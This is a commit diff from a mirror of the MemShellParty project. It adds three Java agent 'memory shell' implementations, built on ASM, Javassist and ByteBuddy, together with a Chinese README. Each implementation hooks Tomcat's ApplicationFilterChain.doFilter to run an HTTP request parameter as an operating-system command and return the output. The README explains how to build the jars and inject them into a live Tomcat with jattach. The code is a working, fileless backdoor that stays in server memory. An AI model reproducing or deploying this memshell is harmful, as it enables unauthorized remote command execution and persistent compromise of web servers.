mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: add three implementations for agent memshell
This commit is contained in:
+1
-1
@@ -4,7 +4,7 @@ plugins {
|
||||
|
||||
dependencies {
|
||||
constraints {
|
||||
api 'net.bytebuddy:byte-buddy:1.+'
|
||||
api 'net.bytebuddy:byte-buddy:1.17.5'
|
||||
api 'org.ow2.asm:asm-commons:9.7.1'
|
||||
api 'com.github.jar-analyzer:class-obf:1.5.0'
|
||||
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
## Agent 内存马
|
||||
|
||||
### 实现原理
|
||||
|
||||
JDK1.5 提供了 JVMTI 接口供开发者扩展以查看 JVM 状态,或控制 JVM 代码执行。其中最重要的就是 `java.lang.instrument`,可以添加自定义的
|
||||
Transformer,来进行字节码修改。具体细节可查看 [JVM 源码分析之 javaagent 原理完全解读](https://www.infoq.cn/article/javaagent-illustrated)。
|
||||
|
||||
JavaAgent 有两种入口:
|
||||
|
||||
1. 静态注入,MANIFEST 定义 Premain-Class 属性指定实现类,并且类中实现了
|
||||
`public static void premain(String args, Instrumentation inst)` 方法,在 Java 程序运行参数中添加
|
||||
`java -javaanget:/path/to/agent.jar -jar app.jar`,应用启动时,就会调用到 `premain` 方法执行字节码增强相关代码逻辑。
|
||||
2. 动态注入,MANIFEST 定义 Agent-Class 属性指定实现类,并且类中实现了
|
||||
`public static void agentmain(String args, Instrumentation inst)` 方法,在 Java 程序运行过程中,通过 attach 机制进行
|
||||
attach 时,会调用到 `agentmain` 方法执行字节码增强相关代码逻辑。
|
||||
|
||||
当一个 jar 包中 MANIFEST 定义如下时:
|
||||
|
||||
```text
|
||||
Premain-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
|
||||
Agent-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
|
||||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
Can-Set-Native-Method-Prefix: true
|
||||
```
|
||||
|
||||
那么这个 Java Agent 既支持静态注入,也支持动态注入。
|
||||
|
||||
### 实现方式
|
||||
|
||||
> 目前提供了 Tomcat 最简单的命令回显 Agent 内存马实现方式
|
||||
|
||||
1. 基于
|
||||
ASM,[CommandFilterChainTransformer.java](memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||
2. 基于
|
||||
Javassist,[CommandFilterChainTransformer.java](memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||
3. 基于
|
||||
ByteBuddy,[CommandFilterChainTransformer.java](memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||
|
||||
### 如何使用
|
||||
|
||||
可以直接 IDEA 中的 Gradle,里面双击 memshell-agent 下的 Tasks 中 build 下的 jar 进行构建。
|
||||
|
||||
```bash
|
||||
## 进入项目根目录
|
||||
cd MemShellParty
|
||||
|
||||
## MacOs or Linux
|
||||
./gradlew :memshell-agent:jar
|
||||
|
||||
## Windows
|
||||
gradlew.bat :memshell-agent:jar
|
||||
```
|
||||
|
||||
构建结束,会在每个模块 build/libs/ 下生成 Jar 包,其中带 all 的为我们所需要用的包,例如:
|
||||
|
||||
- memshell-agent-asm/build/libs/memshell-agent-asm-1.0.0-all.jar
|
||||
- memshell-agent-javassist/build/libs/memshell-agent-javassist-1.0.0-all.jar
|
||||
- memshell-agent-bytebuddy/build/libs/memshell-agent-bytebuddy-1.0.0-all.jar
|
||||
|
||||
下载 [jattach](https://github.com/jattach/jattach/releases/latest) 攻击实施动态注入。
|
||||
|
||||
1. 启动你需要注入的 Tomcat
|
||||
2. 执行命令 `/path/to/jattach pid load instrument false /path/to/agent.jar`,注意,所有路径都使用绝对路径,不要使用相对路径
|
||||
3. 访问 `http://localhost:8080/app/?paramName=id` ,查看是否成功
|
||||
@@ -16,7 +16,6 @@ java {
|
||||
|
||||
dependencies {
|
||||
implementation 'org.ow2.asm:asm-commons:9.7.1'
|
||||
implementation 'javax.servlet:javax.servlet-api:3.1.0'
|
||||
}
|
||||
|
||||
jar {
|
||||
@@ -27,4 +26,6 @@ jar {
|
||||
attributes 'Can-Retransform-Classes': true
|
||||
attributes 'Can-Set-Native-Method-Prefix': true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
jar.finalizedBy shadowJar
|
||||
+45
-41
@@ -4,7 +4,7 @@ import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.instrument.UnmodifiableClassException;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
@@ -14,19 +14,51 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
|
||||
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if ("doFilter".equals(name) &&
|
||||
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
|
||||
return new DoFilterMethodVisitor(mv);
|
||||
}
|
||||
return mv;
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if ("doFilter".equals(name) &&
|
||||
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
|
||||
return new DoFilterMethodVisitor(mv);
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
};
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) {
|
||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
|
||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static class DoFilterMethodVisitor extends MethodVisitor {
|
||||
@@ -178,32 +210,4 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
||||
Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader");
|
||||
getClassLoader.setAccessible(true);
|
||||
System.out.println(getClassLoader.invoke(cw));
|
||||
ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) {
|
||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) {
|
||||
System.out.println(DoFilterMethodVisitor.class.getClassLoader());
|
||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||
}
|
||||
}
|
||||
@@ -1,16 +1,31 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = '1.0.0'
|
||||
|
||||
|
||||
dependencies {
|
||||
testImplementation platform('org.junit:junit-bom:5.10.0')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||
targetCompatibility = JavaVersion.VERSION_1_6
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
dependencies {
|
||||
implementation 'net.bytebuddy:byte-buddy:1.17.5'
|
||||
}
|
||||
|
||||
jar {
|
||||
manifest {
|
||||
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||
attributes 'Can-Redefine-Classes': true
|
||||
attributes 'Can-Retransform-Classes': true
|
||||
attributes 'Can-Set-Native-Method-Prefix': true
|
||||
}
|
||||
}
|
||||
|
||||
jar.finalizedBy shadowJar
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
package com.reajason.javaweb.memshell.agent;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/2
|
||||
*/
|
||||
public class CommandFilterChainTransformer implements AgentBuilder.Transformer {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response
|
||||
) {
|
||||
String paramName = "paramName";
|
||||
try {
|
||||
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true; // 此处返回 true 配合 skipOn = Advice.OnNonDefaultValue.class,即意为不再执行目标方法自带的代码,直接返回。
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return false; // 此处返回 false 配合 skipOn = Advice.OnNonDefaultValue.class,意为继续执行目标方法自带的代码。
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(CommandFilterChainTransformer.class).on(named("doFilter")));
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
.with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
.with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
|
||||
.transform(new CommandFilterChainTransformer())
|
||||
.installOn(inst);
|
||||
}
|
||||
}
|
||||
@@ -1,15 +1,31 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = '1.0.0'
|
||||
|
||||
dependencies {
|
||||
testImplementation platform('org.junit:junit-bom:5.10.0')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||
targetCompatibility = JavaVersion.VERSION_1_6
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
dependencies {
|
||||
implementation 'org.javassist:javassist:3.30.2-GA'
|
||||
}
|
||||
|
||||
jar {
|
||||
manifest {
|
||||
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||
attributes 'Can-Redefine-Classes': true
|
||||
attributes 'Can-Retransform-Classes': true
|
||||
attributes 'Can-Set-Native-Method-Prefix': true
|
||||
}
|
||||
}
|
||||
|
||||
jar.finalizedBy shadowJar
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
package com.reajason.javaweb.memshell.agent;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
public class CommandFilterChainTransformer implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||
|
||||
@Override
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new javassist.LoaderClassPath(loader));
|
||||
|
||||
CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true);
|
||||
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
|
||||
|
||||
String code =
|
||||
"String paramName = \"paramName\";" +
|
||||
"try {" +
|
||||
" String cmd = $1.getParameter(paramName);" +
|
||||
" if (cmd != null) {" +
|
||||
" Process exec = Runtime.getRuntime().exec(cmd);" +
|
||||
" java.io.InputStream inputStream = exec.getInputStream();" +
|
||||
" byte[] buf = new byte[8192];" +
|
||||
" int length;" +
|
||||
" while ((length = inputStream.read(buf)) != -1) {" +
|
||||
" $2.getOutputStream().write(buf, 0, length);" +
|
||||
" }" +
|
||||
" return;" +
|
||||
" }" +
|
||||
"} catch (Exception ignored) {}";
|
||||
|
||||
doFilter.insertBefore(code);
|
||||
byte[] transformedBytes = cc.toBytecode();
|
||||
cc.detach();
|
||||
return transformedBytes;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) {
|
||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user